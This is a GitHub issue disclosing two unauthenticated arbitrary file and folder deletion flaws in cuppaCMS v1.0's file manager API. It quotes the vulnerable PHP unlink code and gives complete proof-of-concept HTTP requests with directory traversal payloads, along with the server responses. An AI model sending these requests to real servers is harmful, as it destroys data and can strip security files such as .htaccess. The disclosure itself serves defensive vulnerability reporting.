

New issue

[Jump to bottom](#)

Multiple Unauthorized Arbitrary File Deletion vulnerabilities

#23

Open

liangyueliangyue opened this issue on Feb 5 · 0 comments

liangyueliangyue commented on Feb 5 • edited ▾

Vulnerability Name: Multiple Arbitrary File Deletion

Date of Discovery: 06 Feb 2022

Product version: cuppaCMS v1.0 [Download link](#)

Author: lyy

Vulnerability Description: When unsanitized user input is supplied to a file deletion function, an arbitrary file deletion vulnerability arises. This occurs in PHP when the `unlink()` function is called and user input might affect portions of or the whole affected parameter, which represents the path of the file to remove, without sufficient sanitization. Exploiting the vulnerability allows an attacker to delete any file in the web root (along with any other file on the server that the PHP process user has the proper permissions to delete). Furthermore, an attacker can leverage the capability of arbitrary file deletion to circumvent certain webserver security mechanisms such as deleting `.htaccess` file that would deactivate those security constraints.

Proof of Concept 1

Vulnerable URL: <http://cuppacms/js/filemanager/api/index.php>

Vulnerable Code: line 116,118 - cuppacms/js/filemanager/api/FileManager.php

```
Cuppa.php x FileManager.php x index.php x LanguageManager.php x file_edit.php x files.php x Language.php x
104         }
105         array_push( &array: $file_list, $item);
106         $item->url = CU_FM_ROOT_URL."/". $pathRelative.$file;
107         $item->url = str_replace( search: "///", replace: "/", $item->url);
108         $item->url = explode( separator: "://", $item->url);
109         $item->url[1] = str_replace( search: "///", replace: "/", $item->url[1]);
110         $item->url = join( separator: "://", $item->url);
111     }
112 }
113 return $file_list;
114 }
115 // delete File
116 function deleteFile($file){
117     unlink($file);
118 }
119 // create Folder
120 function createFolder($name, $path, $permissions = 0755){
121     return @mkdir( directory: $path.$name, $permissions);
122 }
123 // delete Folder
124 function deleteFolder($folder, $keep_folder = false) {
125     $dir_handle = @opendir($folder);
126     if (!$dir_handle){ return false; }
127     while($file = readdir($dir_handle)) {
128         if ($file != "." && $file != "..") {
129             if (!is_dir( filename: $folder."/".$file))
130                 unlink( filename: $folder."/".$file);
131             else
132                 $this->deleteFolder( folder: $folder."/".$file);
133         }
134     }
135     closedir($dir_handle);
136     if(!$keep_folder){ rmdir($folder); }
137     return true;
138 }
139 // Load File
```

Steps to Reproduce:

1.Send the request directly through burp

```
POST /js/filemanager/api/index.php HTTP/1.1
Host: cuppacms
Content-Length: 45
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://cuppacms
Referer: http://cuppacms/js/filemanager/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"path":"../test.php","action":"deleteFile"}
```

Request

PrettyRaw\nActions

1 POST /js/filemanager/api/index.php HTTP/1.1
2 Host: cuppacms
3 Content-Length: 45
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.438
5 Content-Type: application/json
6 Accept: */*
7 Origin: http://cuppacms
8 Referer: http://cuppacms/js/filemanager/index.php
9 Accept-Encoding: gzip, deflate
10 Accept-Language: zh-CN,zh;q=0.9
11 Connection: close
12
13 {
 "path": "../test.php",
 "action": "deleteFile"
}

Response

PrettyRawRender\nActions

1 HTTP/1.1 200 OK
2 Date: Sat, 05 Feb 2022 17:15:46 GMT
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
4 Connection: close
5 Content-Type: text/html; charset=UTF-8
6 Content-Length: 410
7
8

9

: Automatically populating \$HTTP_RAW_POST_DATA is deprecated and will be removed in a future version. To av
Unknown

on line
0

10

11
Warning

: Cannot modify header information - headers already sent in
Unknown

on line
0

12 null

2.You can traverse the directory to delete any file

Proof of Concept 2

Vulnerable URL: <http://cuppacms/js/filemanager/api/index.php>

Vulnerable Code: line 124,138 - cuppacms/js/filemanager/api/FileManager.php

Cuppa.php x FileManager.php x index.php x LanguageManager.php x file_edit.php x files.php x Language.php x

112 }
113 return \$file_list;
114 }
115 // delete File
116 function deleteFile(\$file){
117 unlink(\$file);
118 }
119 // create folder
120 function createFolder(\$name, \$path, \$permissions = 0755){
121 return @mkdir(directory: \$path.\$name, \$permissions);
122 }
123 // delete Folder
124 function deleteFolder(\$folder, \$keep_folder = false) {
125 \$dir_handle = @opendir(\$folder);
126 if (!\$dir_handle){ return false; }
127 while(\$file = readdir(\$dir_handle)) {
128 if (\$file != "." && \$file != "..") {
129 if (!is_dir(filename: \$folder."/".\$file))
130 unlink(filename: \$folder."/".\$file);
131 else
132 \$this->deleteFolder(folder: \$folder.'/'.\$file);
133 }
134 }
135 closedir(\$dir_handle);
136 if(!\$keep_folder){ rmdir(\$folder); }
137 return true;
138 }
139 // Load File
140 function loadFile(\$file){
141 if(!\$file) return;
142 \$data = @file_get_contents(\$file);
143 return \$data;
144 }
145 // Copy File
146 function copyFile(\$source, \$dest){
147 if(!\$source) return;

Steps to Reproduce:

1.Send the request directly through burp

```
POST /js/filemanager/api/index.php HTTP/1.1
Host: cuppacms
Content-Length: 40
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://cuppacms
Referer: http://cuppacms/js/filemanager/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"path":"/../1","action":"deleteFolder"}
```

Request

PrettyRaw\nActions

1 POST /js/filemanager/api/index.php HTTP/1.1

2 Host: cuppacms

3 Content-Length: 40

4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

5 Content-Type: application/json

6 Accept: */*

7 Origin: http://cuppacms

8 Referer: http://cuppacms/js/filemanager/index.php

9 Accept-Encoding: gzip, deflate

10 Accept-Language: zh-CN,zh;q=0.9

11 Connection: close

12

13 {

14 "path":"/../1",

15 "action":"deleteFolder"

16 }

Response

PrettyRawRender\nActions

1 HTTP/1.1 200 OK

2 Date: Sat, 05 Feb 2022 17:03:23 GMT

3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02

4 Connection: close

5 Content-Type: text/html; charset=UTF-8

6 Content-Length: 410

7

8

9

10 Deprecated

11 : Automatically populating \$HTTP_RAW_POST_DATA is deprecated and will be removed in a future version. To avoid this error, please use file_get_contents('php://input') instead.

12 Unknown

13 on line 0

14

15

16

17

18 Warning

19 : Cannot modify header information - headers already sent in

20 Unknown

21 on line 0

22

23

24 true

2.You can traverse directories and delete directories, Delete all files in the directory while deleting the directory, so as to achieve the effect of deleting any file

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestones

milestone

No milestone

Development

No branches or pull requests

1 participant

